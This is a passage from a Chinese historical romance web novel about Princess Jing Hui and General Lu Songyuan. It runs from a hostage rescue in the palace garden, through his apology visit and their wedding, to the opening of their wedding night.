倒是一旁被压着的阿鱼按捺不住,挣扎着说道:“陆将军,快救救公主,公主的脖子在流血!”
景回滚了滚喉咙,也看着陆颂渊。
陆颂渊似是在看着景回,又似是在看着驼风使者。
“本将军不知道你在说什么。”
“装什么!塔干可号令我族深藏的三万兵力。”驼风使者咬牙切齿,“我王早就知道你盯着我们的塔干,定是你屠城之时将之掠走的!”
此言一出,众人看向陆颂渊的目光瞬间变了。
这位将军不仅手握北境大权,手中还有三万外族私兵!
“本将军说了,并不知道你们的什么塔干。”
陆颂渊道:“丢了东西就派条疯狗出来咬人,这便是驼风身为大部落的作风吗?”
“少废话!你奸诈至极,不是你还能是谁!”
驼风使者说着,边将手中的短刀往景回脖颈处又压了压,本来止住的血再次流出来,陆颂渊眯了眯眼。
景回不敢动作,僵着脖子说道:“你莫冲动,本公主帮你问。”
观昨晚今日,驼风使者看得出景回身份贵重,说话有分量。
他迟疑片刻,稍微松了松手道:“别想耍花样!”
“不耍,本公主想活命。”
景回说完后,看向陆颂渊:“陆颂渊,你若拿了塔干,就赶紧拿出来还给他。”
陆颂渊还是那句话,“公主,臣真的没有。”
景回本也没想把命压在别人身上,陆颂渊说完后,她一点也不意外,转动眼珠看向阿鱼。
阿鱼身上有细针暗器,只要射中身后之人松开景回,身侧侍卫对付这区区几人,绰绰有余。
她想的很好,阿鱼也收到景回的暗示。
只是还未实施,身后驼风使者便发觉景回的动作,咬牙道:“不准动——”
他话音刚落,景回耳边忽然传来一阵箭风。
下一刻,脸上和脖颈上便被溅上了一股热流,随后便是刺鼻的血腥气。
血。
“公主!”
4. 登门。
“啊——”
众人的尖叫声此起彼伏,景回昏过去之前,看见的是陆颂渊收回弓箭的手,以及淬着寒霜的黑眸。
-
噩梦不断,浮浮沉沉。
梦里,还是在那日的御花园中。
景回时而梦见自己被驼风使者一刀抹了脖子,时而梦见她想跑却跑不掉,混乱之中被人一剑捅死。
最后又梦见那日与陆颂渊对峙的场景。
这次偌大御花园只有他们二人,射箭之前,陆颂渊看着景回说:“本将军这辈子,最厌恶受威胁。”
随后箭脱手而出,景回被一箭封喉,彻底吓醒。
“不要——!”
景回猛得坐起身,豆大的汗珠沿着下颌落入衣领,她胸膛急促起伏着。
正是午后,床尾有一抹窗缝偷溜进来的日光,晒得脚热热的,景回动了动脚。
还能感受到温度,还活着。
“公主!”
阿鱼听见响声匆匆从门外跑进来,她显然是哭过,顶着两个红肿的核桃眼。
进来之后就趴在景回床边,哽咽着说道:“公主您睡了一整日,可终于是醒了,奴婢都要担心死了,幸好您没事。”
哭着哭着,阿鱼开始打哭嗝。
景回被她逗笑,逐渐放松身子向床头靠去,动作间,颈侧一痛。
“嘶——”
阿鱼连忙起身,放好软枕扶着景回躺下,她愤愤地盯着景回修长的脖颈。
景回伸手摸了摸,摸到了几圈白纱,“可会留疤?”
“那使者本来只划了一个很浅的伤口,是无事的。”
阿鱼看了眼景回,说道:“可是后来陆将军一箭射过去,那使者死前手用力划了下,太医说,可能会留疤。”
脖颈那般脆弱,景回吐出一口长气,她现下还能清楚的记得陆颂渊射出的那干脆利落的一箭。
箭尖距她的耳尖不过一尺,箭羽擦着她鬓角的发丝而过。
若偏一分,不,半分,她恐怕便性命不保了。
陆颂渊不曾顾忌她的性命,想起他眼中的冷漠,景回总算是知晓传言并非空穴来风。
“公主,这样的人您如何能嫁。”
阿鱼吧嗒掉了两颗眼泪,“从小到大,连陛下都不舍得伤到您分毫,昨夜陛下听闻此事急得吐血,把陆将军叫去养心殿发作了好一顿,听闻现下他还在养心殿门前求陛下恕罪。”
阿鱼说得对,这种人如何能嫁。
景回现下对陆颂渊的恐惧愈发得多,可圣旨已下,她堂堂嫡公主,又不能直接逃婚。
一时间,景回犯了难。
小公主自来顺风顺水,曾也在朝堂将那些老臣耍的团团转,却在婚事上栽了跟头。
她靠着软枕不知思索多久,门外传来另一个贴身宫女阿颜请安的传来,“奴婢叩见陛下,陛下万安。”
是景文帝亲自来了。
景回直起身,只见景文帝面色焦急,大步走到床边坐下,牵着景回的手问道:“阿珠,可好些了?”
见到景文帝,景回的委屈一下从心底泛出,她抽了下鼻子,靠在景文帝怀中,嗫嚅半晌只轻唤了句:“父皇。”
景文帝怜爱地拍着景回的背,柔声安慰,“阿珠不怕,父皇在呢。”
泪从眼角流下,景回轻蹭了下,刚想说些什么,便听见上方几声咳。
“父皇!”
景回连忙起身,拿过巾帕递给景文帝,担忧地看着他。
一阵猛烈地咳后,景文帝捂着唇说道:“阿珠,给父皇递来水。”
景回连忙转身去床头案几拿水,走回来递给景文帝时,景回隐约看见他拿开的帕子上有血。
景文帝喝完水后,把杯子递给一旁的阿鱼,对景回说道:“朕听说了昨日御花园的事,陆颂渊简直混账,朕怎能让你嫁给这样的人。明日上朝,朕便要当众宣布赐婚圣旨作废!”
景文帝这般说,景回本应是高兴的。
但她沉默片刻,问道:“敢问父皇,是如何惩治陆颂渊的?”
景文帝一愣,随后转身看着殿中,他一侧脸被阳光铺满,倒显得对着景回这侧的脸阴暗无比。
“朕罚他闭门思过。”
景回心头蓦地一酸。
去岁有人仗着年长又官居高位,在朝堂上不怀好意提起景回的婚事,景文帝当场发作,直接将那人流放。
他何曾这般被人掣肘过。
一室静默,日头在窗棱划过半分,景回扯着嘴角露出笑,“父皇当时不在跟前,不知当时情况。若非陆将军射出的那一箭,女儿现下还不知受何等伤,女儿很是感谢他呢。”
景文帝咳了下,眼中带着迟疑问景回:“当真?”
“自然。”景回挽住景文帝的胳膊,语气故作轻快,“女儿崇拜英雄,便是为感谢救命之恩,以身相许也是要嫁给陆将军的,父皇多虑了。”
眼见景文帝表情多有疑虑,景回松开手,说道:“父皇身子刚好,还是要好好休息。”
她话音刚落,宁禄便急匆匆从外面走进来,禀道:“陛下,兵部沈大人有事求见。”
“
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父皇快去吧。”
国事不可耽搁,景文帝站起身,走了几步又回头看向景回,“阿珠,再好好想想,明日早朝之前你若有悔,尽管派人来找朕,朕只要你开心,日后也不希望你恨朕。”
景回不知皇帝为何忽然如此说,她仰头看了眼皇帝,摇头道:“儿臣不会的,恭送父皇。”
景文帝脚步声渐远,屋内重归寂静,只余细小尘埃在日光中舞的欢快。
却如她一般无所归处。
“公主。”
阿鱼有些着急,问道:“公主方才为何不让陛下退婚,这可是唯一的机会了。”
景回摇摇头,滑进被子里,闷声说道:“师父曾说,国之大者,身居高位,必得有异于常人的牺牲。今日落在我身上,我算明了是何等感受了。”
“可是婚娶乃是女子一生之事。”
阿鱼道:“再说您若是嫁出去,必会无缘储君之位……”
“失之东隅,未必不是好事。”
景回遇事看得开,她拉下被子,看着床顶流光溢彩的东珠,不知是在宽慰阿鱼,还是在给自己打气,大声说着:“本公主可是嫡公主,身后有父皇和整个皇家撑腰,谅他也不敢再如何,婚后本公主有的是法子报昨日之仇!好了,本公主困了,你先出去吧。”
说完后,景回便闭上眼,仿佛瞬间入睡一样。
阿鱼叹了口气,端着茶壶缓步退出。
一滴泪从床上之人眼角滑出,落入乌发消失不见。
-
经历生死一线,景回本以为自己无心睡眠,谁知哭了片刻后便沉入梦乡,一直到黄昏才醒来。
醒来后,阿鱼和阿颜端来了些吃食,景回下床走到窗边榻上,边看着廊下开得正好的花边用饭。
用过饭,阿颜又从小厨房端来了些景回喜欢的糯米团子,这团子中间包着茉莉花蜜,一口一个吃起来甚是美味。
景回吃完整整一碟,又听阿鱼和阿颜讲了半晌民间古话,心情才总算好些,半倚在窗边榻上看书。
黑夜悄至,桌上的灯有些暗,景回吩咐阿鱼道:“阿鱼,换一盏灯来。”
“是。”
阿鱼端着灯盏下去,片刻后,她端着灯盏急匆匆跑进来,“公主,来人了……”
阿颜比阿鱼年长,也比她性子稳得多。
她上前扶了下阿鱼放偏的灯盏,转头厉声道:“急什么,仔细烫着公主。难不成是神仙来了?”
“不,不是!是陆将军带着两个副将,还抬着两个大箱子等在宫门口,说是来向公主请罪!”
5. 莽夫。
不是在闭门思过吗?
景回翻书的手一抖,本就没血色的脸色更加苍白,她喘了两息,未言。
阿颜看了眼景回,转头对阿鱼说道:“便说公主受了惊吓,已经睡下了,让陆将军回去吧。”
让他回去,不是让他改日再来。
阿鱼看向景回,见她似是默许的样子,应下后边往外跑,将要迈过门槛之时,景回的声音传来,“不必,让他进来。”
屋内二人皆是一愣。
阿鱼道:“是。”
她出去后,景回合上书页,左右看了看,吩咐阿颜道:“去给我去把匕首来。”
“是。”
片刻后阿颜取来匕首,景回拿在手中,这匕首长不过七寸,拿在手里很是小巧,但内里刀刃却是用玄铁所做,触之即见血。
景回抽出一半看了看,随后放在了桌上。
刚在桌上摆好,廊下便传来了轮椅滚动的声音,景回扭头往窗外看去,正巧陆颂渊从窗下经过,二人猝不及防对上了眼神。
廊下灯火通明,屋内烛火摇晃,都暖不了他那副冷若冰霜的模样,温焰落在他眼中,似是幢幢鬼火。
景回咽了下嗓子,率先偏过头去。
轮椅需得用有坡度的门槛才好进来,陆颂渊进门之时费了些力,最后似乎是轮椅被人抬起才进来的。
轮子碾压地毯的声音愈发的近,景回端起杯子饮了口水,放下杯子时,陆颂渊已来到了面前。
景回向着塌里侧倚了倚,抬头看向陆颂渊。
宫中的榻修的本就高,她这般倚靠着,坐在轮椅上的陆颂渊竟然还是与她平视。
侍女们不知何时下去了,屋中仅剩二人。
陆颂渊还是昨日那身衣裳,哪怕只是端坐轮椅,景回也莫名有种压迫感,她皱眉,对他说:“你离我远些。”
陆颂渊一愣,默默伸手后拨了下轮椅机关,轮椅向后滚动半分。
“昨日事态紧急,臣不得已伤了公主,还请公主恕罪。”
“哈。”
说的如此风轻云淡。
景回没想到此人这般无耻,她都气笑了,“本公主是不是还要多谢你的救命之恩?”
哪怕再不懂女子心思,陆颂渊也能看得出景回的怒气。
他眉心微蹙,“臣并非此意,公主息怒。”
景回何曾受过这种委屈,她嘴一撇,心底的害怕上涌,逐渐变成怒气,对着陆颂渊骂道:
“那人的刀就架在我的脖颈上,你不顾我性命激怒他,太医说若他的手再稍稍用些力,我的性命不保!”
她越说越气,眼眶都发了红,“你和传言一样凶神恶煞,简直混蛋!”
景回骂完一通,心中舒坦不少,她抄起杯子大口喝光杯中水,随后把杯子咣当一放,瞪着陆颂渊。
陆颂渊一直看着景回,烛火晃动打在她姣好的面容上,也让他看清了那缠在景回脖颈上的白纱。
初见至此不过三面,她的脸色一次比一次苍白。
陆颂渊抿了下唇,从怀中摸出一个银白瓷瓶,前倾着伸手放在了榻上的小案几上。
“这是边北军中治疗刀口的奇药,可促进伤口新生,亦有祛除疤痕之效,还请公主收下。”
景回瞥了眼那瓶子,皱着鼻子轻哼一声,逐渐冷静下来。
但并不搭理陆颂渊。
陆颂渊与女子接触甚少,他静默几息后,又从轮椅一侧摸出了一个黑金匣子放在了案几上。
景回撑着下巴,瞥了眼那盒子,瞬间便被上方花纹所吸引。
盒子上刻着的是长龙盘旋着呼啸风云,龙身绕了几遭盒子,最终龙头落在盒子中间。
龙身之下金莲由远及近,朵朵盛开,波澜之中更显柔情。
最重要的是,这盒子,她似乎见过。
“这是?”
景回边开盒锁,边不自觉转头看向陆颂渊,视线相撞,景回顿住,立刻转过头去。
盒子打开,红绒之上放置了一把簪子。
簪子通身用金打造,簪顶乃是一只振翅欲飞的凤凰,凤翼轻轻晃动,那凤目似也在流转。
凤凰口中衔着几条牡丹流苏,每朵牡丹之下各有一金玲,拿起之时便发出悦耳的响声。
陆颂渊道:“这是前朝宫廷被侵入之时,驼风人从后宫中带走的宝物之一,凤翎和合簪。”
景回拿着簪子的手一愣。
天下宝物无她不知,这凤翎和合簪乃是前朝皇帝为了求娶皇后,亲自绘图打出的求爱之物。
后来被人掠夺,景回不曾亲眼所见,却不知如何落到了陆颂渊手中。
帝王的求爱之物如何能乱送,手中金簪忽然烫手,景回缓缓将金簪放入盒中,看向陆颂渊。
凤翎和合簪乃是至宝,回宫之后应是被直接送入景文帝手中。
陆颂渊这簪子当是从景文帝处求来的,不知他在景文帝面前说了什么,短短半日,景文帝便同意他将簪子送来。
景回顿然又想起宫宴醉酒之前,陆颂渊应下婚事之时那背天书似得一段话。
结合种种,她猜想陆颂渊似乎很想和她成婚。
至于有何目的,她猜不出。
为了印证所想,景回扯出一抹笑,撑着下巴看着陆颂渊问:“为何送我这个?”
“为博得公主一笑。”
“仅仅如此?”
景回桃花眸弯弯,“我不信。”
“只有天下至宝,才配得上公主。”
陆颂渊道:“还请公主原谅臣昨日之举。”
“噗。”
景回眸中含了些玩味,“将军今日登门,不只是为了道歉,还有别的目的吧?”
她的目光太过直白,陆颂渊耳尖微动。
“并无。昨日臣吓到公主,无意伤了公主,特来赔礼道歉。外面的箱子内都是些北境的珍惜草药,还请公主保重身子。毕竟,婚期将近。”
果真是这般。
景回脸上的笑僵了下,继续逗陆颂渊,“说的冠冕堂皇。陆将军,你这般想与本公主成婚,该不会对本公主一见倾心吧?”
此言一出,陆颂渊放在轮椅扶手上的手猛地紧握住,似在强忍着什么。
景回看见后在心中哼笑,拿捏人的感觉果真很爽。
既是对她有所求,就别怪她不客气了。
“父皇今日许我说,若是不想成婚,只管与他说。”
景回换了方向靠着软枕,一直弯曲的两腿伸直,细白脚踝搭在塌边一晃一晃。
“本公主不想嫁给一个不将我性命放在心上之人。”
陆颂渊的目光被那皓足吸引,一下下似踩在他胸口。
他闭了下眼,伸手从轮椅一侧抽出了一把短剑
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“噌——”
剑出鞘的声音惊到了景回。
她刚落下的心陡然又提到了嗓子眼,只觉颈间一凉,“你要做什么!”
陆颂渊不答。
他手腕轻转,将剑尖对准自己,随后偏移半分,剑便落在了他肩上,剑刃距离他的脖颈不过一缕发丝的距离。
景回惊呼,“你!”
陆颂渊滑动轮椅,向前凑近景回一些,将剑柄递在离景回不远处。
“昨日臣伤了公主,今日臣任凭公主发落,要杀要剐,悉听公主。”
他又说一遍,“还请公主息怒。”
只会动刀动枪,简直莽夫!
景回心中又有了怒气,她憋得小脸通红,左右看看,手边没有趁手之物,只得摸起桌上的帕子狠狠砸在陆颂渊脸上,随后又伸出雪白的裸足一脚踹在他膝上。
“你滚出去!”
柔软的巾帕顺着陆颂渊的脸庞滑下,落在他大腿上,陆颂渊垂头看了一眼,又抬起头看着景回。
“臣告退。”
他话音刚落,外面便进来了一男一女,想来应该是陆颂渊的两个副将。
两人分工明确,一人接过剑,一人推着轮椅,不过片刻便走出了景回的视线。
景回朝着陆颂渊的背影挥了挥拳,“疯子!”
陆颂渊这厢一路行至廊下,阿鱼匆匆与他擦肩而过跑进屋中。方才屋中动静不小,她担忧景回出什么事。
倒是阿颜等在廊下,向他行礼,“陆将军。”
“嗯。”
陆颂渊吩咐一侧二人道:“青越,昼雪。”
陆青越为男副将,陆昼雪是女副将。
二人一同上前,将手中两箱之物的礼单递给阿颜。
陆青越伸手指着院中的两台箱子,朝阿颜解释。
“此为一箱珍稀药草,一箱为将军从北境寻来的至宝,还请姑娘替将军交给公主。”
阿颜粗略扫了一眼礼单,确实见到几味上京少见的草药。
她笑了下,“奴婢替公主多谢将军。”
“不必客气。”
转身要走之时,陆颂渊听见阿颜说道:“草药再珍稀,也终归是药。公主本不必吃,将军本也不必劳动夜深跑这一趟的。”
明晃晃的责备,陆颂渊偏头看去。
阿颜对上他的目光,莫名打了个冷颤。
但她还是强撑着与陆颂渊对视。
是个护主的奴婢。
陆颂渊瞥了一眼,并未搭理她。
走出锦绣宫,宫道上都是北境军,陆青越迫不及待问道:“将军,如何?公主会不会与你退婚?”
陆颂渊靠着轮椅,把玩着剑穗说道:“不会。”
“你昨日吓到公主,现下这般笃定她不会退婚,怕不是你二人独处之时……”
陆青越嘿嘿一笑,前倾着调侃陆颂渊:“你以身相许了吧!”
陆颂渊冷眼看过去,陆青越立马闭了嘴。
“欸?”
后退之时,陆青越瞥见陆颂渊腿上的一抹白,问道:“这是什么?”
陆颂渊低头看去,是景回扔来的帕子。
方才帕子滑落在大腿上,后来轮椅搬来搬去,这帕子便滑向内里不可言说之处。
四角张开,盖得严严实实。
陆颂渊:“……”
6. 大婚。
夜雨淅淅沥沥,将停不停下了一整夜。
隔日晨起,晨光刺破薄雾,丝丝缕缕落在景回寝殿的窗前。
悦耳的鸟鸣划过上空,景回合上看了一夜的书,揉了揉因保持一个动作过久而酸痛的脖颈。
“天亮了。”
景回偏头看向屋檐落下的雨滴,喃喃道:“该上朝了。”
阿鱼端着补汤走来,轻轻放在景回面前,低声说道:“公主,还来得及。”
景回端起补汤一饮而尽,摇摇头道:“罢了。去拿那身素蓝裙子来吧,我去看看阿姐。”
阿鱼欲言又止,一旁的阿颜朝她使了个颜色,阿鱼这才下去找衣衫。
一夜不曾合眼,景回头有些昏沉,阿颜上前给景回轻按着头。
“公主,日后可会后悔。”
“日后如何,无人可知,但至少现下我问心无愧。”
景回抬眼看向她,笑了下说道:“阿颜,我要对得起父皇。”
阿颜愣了下,随后眼眶热了热,点了点头。
“公主如此孝心,超过那些皇子不知多少,乃大梁之幸。”
景回笑笑。
梳洗过后,向锦绣宫外走去之时,已日上中天。
迈出门槛,拐弯之时,景回远远便看见一人在锦绣宫前徘徊。
她走过去问:“宁公公,您怎么来了?”
“老奴参见公主。”
宁禄连忙迎上前去,行礼道:“这,是陛下命老奴过来,说是公主之心若有改,老奴即刻去朝堂回禀。老奴等了一早,公主您现下才出来,朝会已经散了……”
“无妨。”
景回失笑,“不必劳动公公,本公主昨日已与父皇说清楚,这婚,本公主是要成的。”
“今日陆将军也会上朝,这会儿圣旨怕是已经传出上京了。”
宁禄看着景回,叹了口气安慰道:“公主且宽心,您身份尊贵,有陛下给您撑腰,想来婚后那陆将军也不敢不敬公主。”
“本公主也如此做想。”
景回道:“公公且回去便是。”
“是。”
宁禄道:“老奴这厢回去复命,陛下知晓公主之意,应当会召见陆将军面圣了。”
陆颂渊回来之后,景文帝有心晾晾他,加之身子不好,还并未单独召见他。
景回点点头。
“老奴告退。”
宁禄走时,身后还跟着几个御林军。
这御林军无景文帝旨意不可动,不知今日为何跟着宁禄。
“公主。”
阿鱼道:“我们走吧。”
“嗯。”
-
这日之后,景回和陆颂渊的婚事传出上京,传遍了天下。
宫中也开始紧锣密鼓操办起了大婚事宜,六部协同一刻不停歇。
这般上下一心,不过两月之余,宫外二人的婚房已经修缮建好,内里布置皆是皇家规格。
只需放置十日,便可住进去。
恰巧二人婚事就在十日之后。
待嫁这些时日,景回养好伤后也不常出宫门,偶尔出宫也只是景文帝昏迷之时过去侍疾,顺带帮忙处理些偏远之处的朝政。又或是去慧孝皇后生前所居宫殿中坐坐,去看看另一宫中的阿姐。
回宫之后,她便在后院花园之中酿酒捕蝶,好不欢快。
往来道贺之人不断,景回全都谢绝不见,但唯有一人上门,景回却是拦也拦不住。
陆颂渊不知发什么疯,那夜来过锦绣宫中之后,便隔几日就带着礼物上门。
这些礼物或大或小,总能讨得到景回欢心。
景回本随他去,但没过多久,宫中便传出了二人早已互相倾心的流言来。
说陆颂渊一人便算了,说她作甚!
景回气的牙痒,等陆颂渊上门,见他还是一副云淡风轻的模样,于是便认定这流言是陆颂渊传出来的。
毕竟他对此婚目的不纯。
景回憋着一口气,只等婚后搬去将军府,新仇旧恨一起报!
这般想着,十日转瞬即逝。
十月十七,公主大婚。
秋高气爽,惠风和畅,乾坤朗朗,诸事皆宜。
唯一不足之处,便是景文帝还在昏迷,不能亲自送景回出嫁。
天不亮景回便起身,半合着眼由着人折腾着上妆更衣。
美人面上覆浓妆,景回平日里都是淡妆,这般浓艳一次,便如九天玄女,世间所有颜色都在她脸上绽放。
她身穿的喜服由宫中百位绣娘日夜赶制,用料乃是戎袭进贡来的金纱彩锦,上面所绣凤凰栩栩如生,凤羽细腻逼真,似要振翅而飞,显得华贵无比。
婚前习俗走完,已经午后,景回坐在床上,稍稍吃了点东西,便等陆颂渊上门娶亲。
入目是满屋刺眼的红,周围热热闹闹的,连她最爱的宝物上都贴上了喜字,各宫娘娘和几位皇子都来了锦绣宫中帮忙,她只需安心坐着便是。
景回干脆闭上眼,思索着陆颂渊身坐轮椅,如何能来接亲。
昨日嬷嬷讲,按照大梁习俗,她要被陆颂渊抱着入轿入洞房,他如何能做到?
总不能让陆颂渊坐在轮椅上,景回坐在他身上,被人抬着走来走去——
也太难看了吧!
景回“噌”地坐直身子,她堂堂嫡公主,宁愿走进去,也不能被抬着。
“公主可是累了?”
阿鱼身穿红色侍女衣裳,走过来轻声说道:“吉时到了,方才外头来人说陆将军已经朝着宫中来了。”
景回连忙问道:“如何来的?”
坐轿还是骑马,还是被人推着轮椅。
阿鱼道:“奴婢不知。”
二人这厢话音刚落,外面便传来了吹吹打打的声音。
由远及近,鼓乐齐鸣震天响,欢声笑语贺不断。
从宫道绵延至锦绣宫门口,高昂地吹打一阵儿后,逐渐安静下来,随后便是众人笑闹着堵门要红包的动静。
倒是一直没听见陆颂渊的声音。
景回慢悠悠在床边坐好,手拿盖头看着门口。
按照大梁习俗,这盖头是要陆颂渊给她盖上的。
不多时,门打开,众人簇拥着一人走进来。
没错,是走进来。
那人高八尺有余,身穿绯红金莲勾锦喜服,乌发高高束起,头戴镶金红冠,脸上覆一狰狞鬼面。
他步伐沉凝,渊渟岳峙,行走之时腰背一线,若北风之中坚韧不拔的松柏,器宇轩昂。
除却景文帝,景回从未见过走起路来如此养眼的人。
这人是谁?
待他走来面前,站在一侧的礼部官员才说道:“公主殿下,这是陆将军府中的副将,将军因腿疾不能亲自上门求娶,只好派了个亲近之人代他来,陆将军在将军府门口等您。”
景回的脸登时拉了下来。
新婚之日新郎不亲自登门,过会儿游街百姓都会看见,那她岂不是成了上京的笑柄
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!
“你们好大的胆子!”
阿鱼怒道:“谁准你们这般安排的!”
“公主明鉴!”
礼部官员战战兢兢,“昨日太后娘娘亲下懿旨,便是给老奴八百个胆子也不敢欺瞒公主啊!”
哈。
又是太后。
“罢。”
终归是已经定了的事,大喜的日子,景回不想闹得太难看。
她将手中的盖头往前一递,抬头看向那人。
面具之后那人似是笑了笑,还不待景回看清,红盖头便从上而下,挡住了她的视线。
随后景回便感觉到那人俯下身来,他一手绕过后腰,一手穿过她膝下,将人稳稳抱了起来。
上次被人这般抱起,还是幼时。
骤然腾空的感觉让景回心中一慌,慌乱中她伸手抓住了那人的衣领,金镯磕在他的锁骨之处,指甲似乎还划伤了他的颈肉。
“公主莫怕,臣定不会摔了您。”
是陌生的声音。
那人大掌展开,一上一下牢牢护住景回的后背及腿弯,让她牢牢在他怀中坐稳。
一步步向外走去,迈过门槛,从廊下经过,那人走得很稳,步伐大却不慌,景回逐渐放松下来,向里歪了歪,靠在他胸膛上。
眼瞎看不清前路,这人竟莫名给她一种可以依靠的安全感。
走出锦绣宫,鼓乐声重新响起,那人将景回送入十六人抬的红木喜轿之中,俯身将她放在座上稳稳坐好。
他起身之时,景回闻见了股清苦的药香气。
礼官唱完词后,喜轿稳稳抬起。
轿顶鎏金的莲花宝顶在日下盛开,光泽流转打在宫墙上。
缀满宝珠的垂带轻轻作响,与身后百抬嫁妆一路走出皇宫,走过上京最繁华的太平大街。
太平大街早在几日前便拉满了遮天的七彩绸带,商铺门口都贴上了喜字,宫人跟在婚车一旁不断洒着金果,彰显天家恩德。
喜轿最终停在距皇宫两条街的将军府前。
将军府门前,周围声音更大,锣鼓喧天,鞭炮齐鸣,百姓的庆贺声和下人的撒钱声不断,礼官再次上前唱词,待说完后,喜轿稳稳落地。
那人又走进轿中将她轻轻抱起来,这次景回并未闻见药味。
他走了一段距离,上了台阶,停在了大门前。
“属下参见将军。”
景回感受到那人抱着她向前方之人行礼,“将军,属下已经将公主给您娶回来了。”
这话景回越听越生气,还不待陆颂渊说话,景回便嘲讽地说道:“陆将军好大的威风。”
周围逐渐安静下来,景回听见轮椅滚动的声音。
陆颂渊似乎离她近了些,“臣身有残疾,实在不便陪公主走完礼节,请公主降罪。”
是太后的懿旨,景回给他降什么罪。
她哼笑一声,忽然愣了下。
陆颂渊说话的声音,似乎在她身侧。
他离她这么近吗?
“陆颂渊。”
“嗯。”
太近了,似乎就在腰侧。
还不待景回再探究,那人已经抱着她前往殿中拜天地了。
礼节繁琐,拜完天地进洞房之时,天已经暗了下来。
还是那人将景回抱进洞房,他把景回稳稳放在喜床边上。
将走之时,景回一把掀开盖头,拉住那人的袖子,仰头看着他说道:“你把面具摘下来,本公主要看你是谁。”
7. 洞房。
黄昏闷热,一滴汗顺着那人面具之下的鬓角流下,滴落在他胸前的衣襟上。
那人似乎愣了下,随后跪在景回身边摇摇头道:“殿下恕罪,臣乃将军身边的暗卫,专行暗探之事,不能以真面目示人。”
景回的手还拉着他的袖子,“本公主看也不行吗?”
暗卫僵了下,“殿下恕罪。”
一时僵持,景回松开手,理了下乱了的衣袖,将手收回膝盖上说道:“罢,多谢你了,出去吧。”
那人沉默起身,向外走了几步后,又停住脚步回头说道:“夜深,将军的酒不知喝到何时,殿下累了一日,还请早日安歇。”
景回挑挑眉,“这是你一个暗卫应该说的话吗?”
“臣僭越了。”
那人走后,阿鱼给景回端了杯茶,问道:“公主怎的想看那人真容了?”
景回摇摇头,“无事,我也说不清。”
阿鱼脸上带笑,“公主若真想看,直接下令便是,何需他同意。”
景回敲了下阿鱼的头说道:“本公主何曾强人所难过。”
“哎呦。”
阿鱼揉着头说道:“也是。”
景回笑了下,喝完茶后将喜碗递给阿鱼,随后站起身环视婚房。
拔步床与锦绣宫中的一模一样,正红床幔从两侧垂下,床头的一对龙凤喜烛燃的正旺,博古架上摆满了珍奇宝物,屋内有股景回熟悉的茉莉花香。
“公主瞧着可还欢喜?”
阿颜从屋外走进来,手中端了些吃食,放在桌上说道:“今夜若是睡不着,奴婢便再拿来几捧茉莉。”
景回自幼有个习惯,便是去除却锦绣宫之外的地方的头夜会睡不着,若是闻了茉莉,才会好上许多。
“不必,刚刚好。”
景回走到桌边坐下,端起汤羹吃了一些,问道:“父皇可好些了?”
“并未醒来。”
阿颜低声对景回说道:“宫中多半咱们的人,若是那些皇子有何动作,您定会第一个知晓。公主放心。”
景文帝不仅绝对掌控兵权,对几个皇子的掌控也到了极致。
按照历朝历代的惯例,皇子成婚或满十四便可出宫建府,但到了景文帝这里,不知为何,他要求众位皇子娶过正妻有了嫡子才可出宫。
现下众位皇子多有侍妾或侧妃,是以并无一人出宫建府。
与此同时,皇子们在朝中的职位也多是闲职或是散职,苦活累活必是他们先上。
若有重要之事需要他们做,譬如督办重工,上峰必有一朝廷众臣压他们一头。
美名其曰磨练其心性,然皇子中年纪最大的景傲,已经磨练四年有余,却还是无正经官职。
时至今日,这些皇子对朝政的参与,还没有景回多。
这便导致景文帝只要有一事指派皇子们,不论大小,他们便会一拥而上,争抢着在皇帝面前出风头。
譬如这次重建将军府便是景傲所督,便是景傲与景回再不对付,他也得好好做此事。
景文帝为何如此,无人能猜到。
往日他康健,众位皇子虽多有争抢比较,但还算安生。可自从他病重之后,众皇子及身后势力便开始蠢蠢欲动。
每每景文帝昏迷之后醒来,召朝臣们前去述职,便是他们争抢的时候。
景回自幼接触权利,却又对权利不那么渴望,是以她并不需要争抢什么。
如今,怕是也只有她真正心疼景文帝的身子。
听见阿颜这般说,景回安心不少,点了点头。
累了一日,稍微垫补过后,景回便有些困了。
桌上摆满了斗秤尺及合卺酒杯,景回往前推了推那些器具,趴在桌上问道:“陆颂渊什么时候回来?”
阿颜看了眼时漏,听着前院推杯换盏的声音,说道:“约莫还要一个时辰。”
“什么!”
景回一拍桌子,“那么久!”
“是。”
盖头她自己掀了,这合卺酒她自己也喝不了,礼部的人还等在外面,景回现下无论如何是不能直接休息的。
她长叹一口气,撑着头看了看外面,灵机一动,忽然说道:“把嬷嬷昨日给我的避火图拿来。”
整治陆颂渊,从洞房开始!
她要全权掌控!
阿颜看着景回脸上不怀好意的笑,摇摇头去床边匣子中取了来。
景回径直翻开,笑意愈发地大。
阿颜和阿鱼在旁看着,二人对视一眼,无奈笑了笑。
不知过了多久,景回枕着避火图快睡着之时,廊下终于有了轮椅的动静,随后便是礼部之人请安,轮椅滚上门槛进入屋内的声音。
景回撑着下巴坐起身,抬眼之时,正巧与刚被人推来屋中的陆颂渊对上的视线。
陆颂渊身穿的喜服与今日送他来的暗卫一样。
不知是不是喝多了,他眼神迷离,眼中的锐利消失不见,烛光打在他的喜服上,衬得他脸颊泛红,显得整个人柔和不少。
陆清越将他推来景回身侧,行礼后站去一旁,陆颂渊偏了下头,“见过公主。”
盖头不见了。
今日的她好生美艳。
“嗯。”
酒味幽幽飘来跟前,景回皱了皱鼻子,“你喝太多了。”
“来敬酒的人太多。”
陆颂渊也低头嗅了下,“呛着殿下了。”
“哼。”
“不论在外面喝多少,屋内这杯酒,陆将军可是一定要喝的。”
礼部官员笑呵呵上前,拿出合卺酒,一人一杯倒上后送来二人面前,“请喝合卺酒。”
景回和陆颂渊对视一眼,陆颂渊拿起杯子,轻轻碰在景回杯沿之下,“殿下请。”
“你也请。”
二人相继喝下,礼官在旁看着,不禁摇了摇头。
以往多见新娘子娇羞,新郎官调笑,怎么这二位坐的笔直,喝个合卺酒像是战前饮酒,有要摔碗的架势呢。
两杯酒各自下肚,礼官上前剪下二人发丝,唱着,“结发夫妻,恩爱长久。”
两缕发丝一同入锦囊,礼官把锦囊挂在二人床头,挂着笑道:“礼毕,祝公主将军新婚大喜。”
景回朝着阿颜使了个颜色,阿颜上前给众人分了金瓜子,礼官带着笑回宫复命。
下人上前,收拾了床和桌子后,便退下去了。
屋内仅剩二人及阿颜阿鱼和陆清越。
四下无声,陆颂渊伸手拿起茶壶,给景回倒了杯茶后说道:“殿下早日安歇吧。”
“嗯?”
景回瞪了他一眼,说道:“你要去哪里?”
今日去迎亲便罢了,洞房花烛夜,他若再跑,便别怪景回不客气了。
